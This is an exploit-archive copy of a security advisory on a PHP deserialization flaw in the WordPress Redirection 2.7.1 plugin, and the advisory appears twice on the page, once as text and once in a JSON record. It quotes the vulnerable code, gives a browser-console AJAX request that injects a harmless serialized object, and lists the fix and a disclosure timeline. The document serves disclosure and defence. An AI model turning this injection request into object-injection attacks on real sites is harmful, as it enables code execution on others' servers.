Search...

WordPress Redirection 2.7.1 Deserialization Code Execution Vulnerability

2018-06-15T00:00:00

ID 1337DAY-ID-30586
Type zdt
Reporter Glyn Wintle
Modified 2018-06-15T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            Details
================
Software: Redirection
Version: 2.7.1
Homepage: https://wordpress.org/plugins/redirection/
Advisory report: https://advisories.dxw.com/advisories/unserialization-redirection/
CVE: Awaiting assignment
CVSS: 9 (High; AV:N/AC:L/Au:S/C:C/I:C/A:C)

Description
================
Unserialization vulnerability in Redirection could allow admin to execute arbitrary code in some circumstances

Vulnerability
================
It is possible for a user with the administrator privilege to submit a string that contains an encoded object that executes arbitrary code of the attackeras choosing.
The value can be passed in with an AJAX request to admin-ajax.php using the red_ajax_set_redirect action that is passed to the ajax_set_redirect method in this code:
public function ajax_set_redirect( $params ) { 
  $params = $this-&gt;get_params( $params ); 
  ....
  $result = $redirect-&gt;update( $params );
}

private function get_params( $params ) { 
  if ( empty( $params ) ) {
    $params = $_POST; 
  }
  return $params; 
}

The update method then passes the attack string to this code:
class Red_Item {
  public function update( $details ) {
    $data = $sanitizer-&gt;get( $details );
    $this-&gt;load_from_data( (object) $data );
  }

  private function load_from_data( stdClass $values ) {
    foreach ( $values as $key =&gt; $value ) {
    $this-&gt;$key = $value; }
  }
The sanitizer does not sanitize the action_data value. Many calls to this class then use its to_json method, which is as follows:
  public function get_action_data() {
    return $this-&gt;action_data ? $this-&gt;action_data : \'\';
  }

  public function to_json() {
    maybe_unserialize( $this-&gt;get_action_data() ),
  } 

The sum effect is therefore that unsanitized user input is being passed to maybe_unserialize().


Proof of concept
================
Achieving arbitrary code execution depends on which classes are available (i.e. which plugins and themes are installed and active). It may not be possible in all situations. As such, this PoC will merely attempt to show that an arbitrary string can be passed to the maybe_unserialize() function.

Visit /wp-admin/tools.php?page=redirection.php
Create a new redirect with a/booa, ahttps://www.dxw.com/a, and aRedirectionsa.
Weall assume this redirect was given ID of 1 in the wp_redirection_items table. If that isnat true, change the aida value in the provided JavaScript.
Then, without leaving the page, open your browseras console and execute this JavaScript:
jQuery.ajax(ajaxurl,{
 method: \'POST\',
 data: {
 \'action\': \'red_set_redirect\',
 \'_wpnonce\': window.Redirectioni10n.WP_API_nonce,
 \'id\': \'1\',
 \'match_type\': \'url\',
 \'action_code\': \'1\',
 \'action_type\': \'url\',
 \'url\': \'https://www.dxw.com/\',
 \'group_id\': \'1\',
 \'action_data\': \'O:8:\"stdClass\":1:{s:5:\"hello\";s:5:\"world\";}\',
 },
}).done(console.log)
Then, by inspecting the JavaScript object printed by console.log, or by looking at the Network logs, youall notice that we have a {ahelloa: aworlda} JavaScript object showing that our arbitrary string was passed to unserialize() and therefore, if the correct classes were available, we would be able to turn this into arbitrary code execution.

Mitigations
================
Upgrade to version 2.8 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://advisories.dxw.com/disclosure/

Please contact us on [email protected] to acknowledge this report if you received it via a third party (for example, [email protected]) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2017-10-02: Discovered
2017-10-03: Reported via website contact form
2017-10-04: Response received. Author has asked for PoC: aThe value for action_data is sanitised when it is passed through Red_Item_Sanitizea
2017-10-09: Developed a PoC
2017-10-10: Working PoC provided to author.
2017-10-18: Author reported fixed in 2.8
2018-06-06: Advisory published
2018-06-12: CVE requested

#  0day.today [2018-06-15]  #

JSON Vulners Source

Initial Source

{"id": "1337DAY-ID-30586", "bulletinFamily": "exploit", "title": "WordPress Redirection 2.7.1 Deserialization Code Execution Vulnerability", "description": "Exploit for php platform in category web applications", "published": "2018-06-15T00:00:00", "modified": "2018-06-15T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://0day.today/exploit/description/30586", "reporter": "Glyn Wintle", "references": [], "cvelist": [], "type": "zdt", "lastseen": "2018-06-15T23:40:05", "edition": 1, "viewCount": 17, "enchantments": {"score": {"value": 0.5, "vector": "NONE", "modified": "2018-06-15T23:40:05", "rev": 2}, "dependencies": {"references": [], "modified": "2018-06-15T23:40:05", "rev": 2}, "vulnersScore": 0.5}, "sourceHref": "https://0day.today/exploit/30586", "sourceData": "Details\r\n================\r\nSoftware: Redirection\r\nVersion: 2.7.1\r\nHomepage: https://wordpress.org/plugins/redirection/\r\nAdvisory report: https://advisories.dxw.com/advisories/unserialization-redirection/\r\nCVE: Awaiting assignment\r\nCVSS: 9 (High; AV:N/AC:L/Au:S/C:C/I:C/A:C)\r\n\r\nDescription\r\n================\r\nUnserialization vulnerability in Redirection could allow admin to execute arbitrary code in some circumstances\r\n\r\nVulnerability\r\n================\r\nIt is possible for a user with the administrator privilege to submit a string that contains an encoded object that executes arbitrary code of the attackeras choosing.\r\nThe value can be passed in with an AJAX request to admin-ajax.php using the red_ajax_set_redirect action that is passed to the ajax_set_redirect method in this code:\r\npublic function ajax_set_redirect( $params ) { \r\n $params = $this->get_params( $params ); \r\n ....\r\n $result = $redirect->update( $params );\r\n}\r\n\r\nprivate function get_params( $params ) { \r\n if ( empty( $params ) ) {\r\n $params = $_POST; \r\n }\r\n return $params; \r\n}\r\n\r\nThe update method then passes the attack string to this code:\r\nclass Red_Item {\r\n public function update( $details ) {\r\n $data = $sanitizer->get( $details );\r\n $this->load_from_data( (object) $data );\r\n }\r\n\r\n private function load_from_data( stdClass $values ) {\r\n foreach ( $values as $key => $value ) {\r\n $this->$key = $value; }\r\n }\r\nThe sanitizer does not sanitize the action_data value. Many calls to this class then use its to_json method, which is as follows:\r\n public function get_action_data() {\r\n return $this->action_data ? $this->action_data : \\'\\';\r\n }\r\n\r\n public function to_json() {\r\n maybe_unserialize( $this->get_action_data() ),\r\n } \r\n\r\nThe sum effect is therefore that unsanitized user input is being passed to maybe_unserialize().\r\n\r\n\r\nProof of concept\r\n================\r\nAchieving arbitrary code execution depends on which classes are available (i.e. which plugins and themes are installed and active). It may not be possible in all situations. As such, this PoC will merely attempt to show that an arbitrary string can be passed to the maybe_unserialize() function.\r\n\r\nVisit /wp-admin/tools.php?page=redirection.php\r\nCreate a new redirect with a/booa, ahttps://www.dxw.com/a, and aRedirectionsa.\r\nWeall assume this redirect was given ID of 1 in the wp_redirection_items table. If that isnat true, change the aida value in the provided JavaScript.\r\nThen, without leaving the page, open your browseras console and execute this JavaScript:\r\njQuery.ajax(ajaxurl,{\r\n method: \\'POST\\',\r\n data: {\r\n \\'action\\': \\'red_set_redirect\\',\r\n \\'_wpnonce\\': window.Redirectioni10n.WP_API_nonce,\r\n \\'id\\': \\'1\\',\r\n \\'match_type\\': \\'url\\',\r\n \\'action_code\\': \\'1\\',\r\n \\'action_type\\': \\'url\\',\r\n \\'url\\': \\'https://www.dxw.com/\\',\r\n \\'group_id\\': \\'1\\',\r\n \\'action_data\\': \\'O:8:\\\"stdClass\\\":1:{s:5:\\\"hello\\\";s:5:\\\"world\\\";}\\',\r\n },\r\n}).done(console.log)\r\nThen, by inspecting the JavaScript object printed by console.log, or by looking at the Network logs, youall notice that we have a {ahelloa: aworlda} JavaScript object showing that our arbitrary string was passed to unserialize() and therefore, if the correct classes were available, we would be able to turn this into arbitrary code execution.\r\n\r\nMitigations\r\n================\r\nUpgrade to version 2.8 or later.\r\n\r\nDisclosure policy\r\n================\r\ndxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://advisories.dxw.com/disclosure/\r\n\r\nPlease contact us on [email\u00a0protected] to acknowledge this report if you received it via a third party (for example, [email\u00a0protected]) as they generally cannot communicate with us on your behalf.\r\n\r\nThis vulnerability will be published if we do not receive a response to this report with 14 days.\r\n\r\nTimeline\r\n================\r\n\r\n2017-10-02: Discovered\r\n2017-10-03: Reported via website contact form\r\n2017-10-04: Response received. Author has asked for PoC: aThe value for action_data is sanitised when it is passed through Red_Item_Sanitizea\r\n2017-10-09: Developed a PoC\r\n2017-10-10: Working PoC provided to author.\r\n2017-10-18: Author reported fixed in 2.8\r\n2018-06-06: Advisory published\r\n2018-06-12: CVE requested\n\n# 0day.today [2018-06-15] #"}